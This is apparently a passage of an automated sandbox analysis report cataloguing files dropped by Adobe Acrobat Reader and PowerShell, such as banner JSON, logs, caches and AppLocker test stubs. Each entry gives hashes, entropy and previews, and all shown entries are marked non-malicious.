SHA-256:	0E6EBB898E5640BFC943F0DA639BF08F389F6C1C5B8556320896367E314D87E8
SHA-512:	6D4AFF659C6F1664C0FC891985EBA4566FE1F1C8FDC8A96B16A40B67525B5EC378248FA8FABFB4B1DF42D77F095EB0A5348FB7B385FE4FBC28982F628B81624A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.229231084568372
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfbPtdPeUkwRe9:YvXKXGMU1UYpW7XICGDV8Ukee9
MD5:	9713925F86A23305953AD74D6859AFC0
SHA1:	4C45FD522120F193AB8A162B4B27E025545ED8E7
SHA-256:	2E0962697666DB55B86262E0BE6A04CEBF0E1631E50DBC3DB912A95FAFD3BD04
SHA-512:	054F4FAB756CA9C3A9C896DF013937471EE73CA36DDC34F1339DAEBB689D0A035FE28E23275A94AC713982A693EA7E46346DAD024C1B8F53DE039EAE997ED4A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2307225630008185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJf21rPeUkwRe9:YvXKXGMU1UYpW7XICG+16Ukee9
MD5:	7A04FE9BDF4E63BA4309F78E5ED2D48C
SHA1:	1E27450B77E74CA88413397425273307AE78985A
SHA-256:	B533403EFDED9256E53AB58A3068FDFF41AD3AD0CF13E5E3160B8B40A3CE6C2F
SHA-512:	9857D655F78136EA6B1270309B5A53BA640A5881504D8559396F97CBA0979FCED3AFB3EEFFE59E081590FAC9C1BFD9BA640CBB071534CDF15B748062790C050B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.648095499930343
Encrypted:	false
SSDEEP:	24:Yv6XTUTiXqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSG:YvIXkBgkDMUJUAh8cvMG
MD5:	D7657F26E12129C984E9C81EB13002CB
SHA1:	FA8CCC4C04D495558663B5172104307811888C54
SHA-256:	508AAF9EF5C7379D4764686E9D0630D58E386D64FC6C2217A126C539C3DA533B
SHA-512:	CFB7FF79F6C24682DB9BAFB552540109C6830275B106A370AB60C93DF054E914C6BA2B429765C14D85F84F24F53BBF3B8F97A6042E8DA99B31FDF661589BAEE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.203428374664527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJfshHHrPeUkwRe9:YvXKXGMU1UYpW7XICGUUUkee9
MD5:	98097F0266BCECF3AFA14D1BD4605C70
SHA1:	87B52A46CC1157227B0F277C5A6BDAA445E42E1E
SHA-256:	2A3B21F5E2C08841681EBC7BC658106F112448598B130294BBD05C81AF27484F
SHA-512:	D7B76D7A786412B884165EBB98A29ED5B76B7EF528893D3BAD5965C47F23CEF1F1DECE3CD63957CE82FA9B0B529E9DF45175951EB0E6BC15AB42F15B448F8AEB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.215021104381202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxzQMUTZx+FIbRI6XVW7+0YeIFDoAvJTqgFCrPeUkwRe9:YvXKXGMU1UYpW7XICGTq16Ukee9
MD5:	30E109D626AD883B21D2B206478D1094
SHA1:	1A5BD6B8244E82AE589E85BCA81CAA2107D28DE3
SHA-256:	61B7E9D24EA61BBE68199BA41A4BF33F0DD76CDCBD6BE2AFA6C442CD6452A7DB
SHA-512:	E215B354227F41C34D0CE886D15712CE07B115BB6AA3D01AA901E9C243CCB3E94D5F3FCCFCF2BD889027C2C51148ABC34D67B82B9B6DF5C0351543BA0CCE9F20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a90e369d-cd0c-41fc-b10a-4f24adb96ca2","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709851409,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.128157669601988
Encrypted:	false
SSDEEP:	24:YRIK5a5uiV3ayXC7J3wfT133DuRTTNzpPjxEj0S95Ap2iL2LSXCk6Rqj4alG599J:YNiVRC76nAZxm4vL9oRq8a8T9Zz
MD5:	CBFD1BD9AFAA304905A957A0122A94B6
SHA1:	DB7B5FE4DA32F53649E9CCB5A9A53D48A307E210
SHA-256:	6F9EEAF74D6D5117FFDA5F66857504A4AAAE454858E27605F1EA2EA9D40FF0E2
SHA-512:	AFAA4E0D32BE684323E4A8DE497AAC7D7A7C3D0AFE5C6863F20ECED8E10A3B7845E83BF7AED190EE7E539C00779573F38F4952C1A8DCB9C237810AE28F9762FA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d3305d006c2279a6dd37ea7e470a2e8c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736536016000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a5f974e7a8c53111faeb909226478f5e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736536016000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"43fd5b3536bf1d0a34c7148636503a55","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736536016000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c72b5fbbe0e3092884c7294ba7b01500","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736536016000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8c70be945bf72b9e5b626e6cedd33b32","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736536016000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"dc7e019f5f501d43a27d6f5070ea0037","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9844264219394844
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpzWO4zJwtNBwtNbRZ6bRZ4YWOF:TVl2GL7ms6ggOVpi5zutYtp6PQW
MD5:	3C5EE03278B03C0E777796B1344653F8
SHA1:	98063044C3687F2198941073074CA8BCA95D5175
SHA-256:	A0440A5BC6694D150545EE3E9BDD7762F6369AA7C12D55300DB4D0DCDE214D16
SHA-512:	2682DE56362AB2E18D5A5C7E7A9C04C8D7EF50FD86E33596D526E4C143139CE02601F48035736B7B621AA1CCA803835350AB0FB82F900FD5D4195DC39EF18231
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3399329976227452
Encrypted:	false
SSDEEP:	24:7+t0AD1RZKHs/Ds/SpzWOPzJwtNBwtNbRZ6bRZWf1RZKkXvqLBx/XYKQvGJF7urh:7M0GgOVpiizutYtp6PMtfqll2GL7msQ
MD5:	AE41D3D725D5496563AB9B0E396B59E9
SHA1:	EBEE8A17FE9AFD40FDDC29F7B41622D256F08CEB
SHA-256:	F802216573C79C2BE540D4B907DBA6A6A5541E9B76C270141A3B7DF782238951
SHA-512:	230F52C81EF1ADCAC56ACFA5B0C1C5ED78093C353ED998881A1A64F300B6415DA66B68FDE37FCD1687C27A66030B6D5A86ED8F61E53CBEB0EBA629869444902C
Malicious:	false
Preview:	.... .c......`;.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgtJrNuTBFyMMlGxTMJZUs45WYyu:6a6TZ44ADEtJ0yMSGxGZQYK
MD5:	CF863780AD15406DABC13EC8BD48D38F
SHA1:	7DE2F2E441FD1B77A4DF413A375B4CAE80D3AA48
SHA-256:	A5EC06DA45F9FB63364C6A1E7DA0AC4C5CB2C26A0AC36B6927761BF4B8FD96F0
SHA-512:	206E84114339B4492C21F45B31F28ECA26AD55F721B42D179744014F99EFED67E91E74A92411225CAE0E5F437C81BF58E209BCCD7C250F1A3514FCA52D243280
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI773d3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERx:Qw946cPbiOxDlbYnuRK+bDH
MD5:	AD54237B511887154475D02807FC3688
SHA1:	F86492BF0B204BC45AC0CB1270E5ED2AD661CD5D
SHA-256:	82A00F7BEBF6726E66ECB35CEE5B20AA839620F1726F0D17F00C6A1240E5E8B5
SHA-512:	6A13BCC161A0138AA2AFBE00EA045EF5F7771DA76200AA6506104B580BD2D6B4C55787014884B165274509ED5380DA3E91320060F37332AD3F1FFD9FDA0266DD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.0.6.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ofwu00u.rrv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rfqarrao.kad.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-06-51-725.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.371386054611318
Encrypted:	false
SSDEEP:	384:ov1y9r83PU6Ij3L+zYPmXJKnrQVD8kAxxeP9rfdZ1FjPdHMvJQyBhEh0p1/8tKae:gGL
MD5:	E6B02BE1913C0186DB1D2FC6277F2F1A
SHA1:	6A4F8CB365E7CD18B71CF86F2C2BC933F35A3FE4
SHA-256:	DAA6D02762ECF912E7154D16F09EE36CFBCAEEAA1EF5EAEA173FC5880C316DBB
SHA-512:	EE6A0DBB9557B9F02898F832BAD6FB743E353DF274DB3133D0560C76E085911818697CB46F743E4F254F72E307C2F62933A62CF1C9F0C84451EF8FF344048E53
Malicious:	false
Preview:	SessionID=564241cc-b0cb-4259-a8c7-9ed7f9c9cc36.1736536011748 Timestamp=2025-01-10T14:06:51:748-0500 ThreadID=7896 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=564241cc-b0cb-4259-a8c7-9ed7f9c9cc36.1736536011748 Timestamp=2025-01-10T14:06:51:755-0500 ThreadID=7896 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=564241cc-b0cb-4259-a8c7-9ed7f9c9cc36.1736536011748 Timestamp=2025-01-10T14:06:51:755-0500 ThreadID=7896 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=564241cc-b0cb-4259-a8c7-9ed7f9c9cc36.1736536011748 Timestamp=2025-01-10T14:06:51:755-0500 ThreadID=7896 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=564241cc-b0cb-4259-a8c7-9ed7f9c9cc36.1736536011748 Timestamp=2025-01-10T14:06:51:755-0500 ThreadID=7896 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395628285690689
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbq:Vk
MD5:	E8ADF5E6868A14A2F7D0983E95D07671
SHA1:	D978562793FF7E1762532B12833252164373A2B0
SHA-256:	00B3FC0C3CFD65430108CBE33FCAAEE2F2BBEAE5E44049B6BD48DEBA3FF1A739
SHA-512:	C73BF1675707C15C3990FBB6AD03356DCD8FD177DB8602B5D8E8A7BCAD618E43639C958FAF37F97462009BC66DABE07271FC5D93369E4433E53BCDEFF7372FF6
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42c7b88c-e237-4f1d-9cee-df69efd8e571.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a1e27220-f616-4146-ace8-0169f36c73cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/5wYIGNPJkbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:hwZGwb3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	61697C740E719568ABD85708978FA1E6
SHA1:	26AAB5B83A3AE7FA6B2F9CB7B90DB4701A7D321A
SHA-256:	CF9700D413D25E00CF0AD2B824C8F59C4353ADE993DBE2F6801BCE4B7BC26962
SHA-512:	15B3A4EA534823F8D3DE95B1F527B2A46FD3EEDE720D727754556FCAE3559BFBE7C5078CCF39CD44919B09A1E613846B0CD22E62DE987024090B0CC6BDB1DD67
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

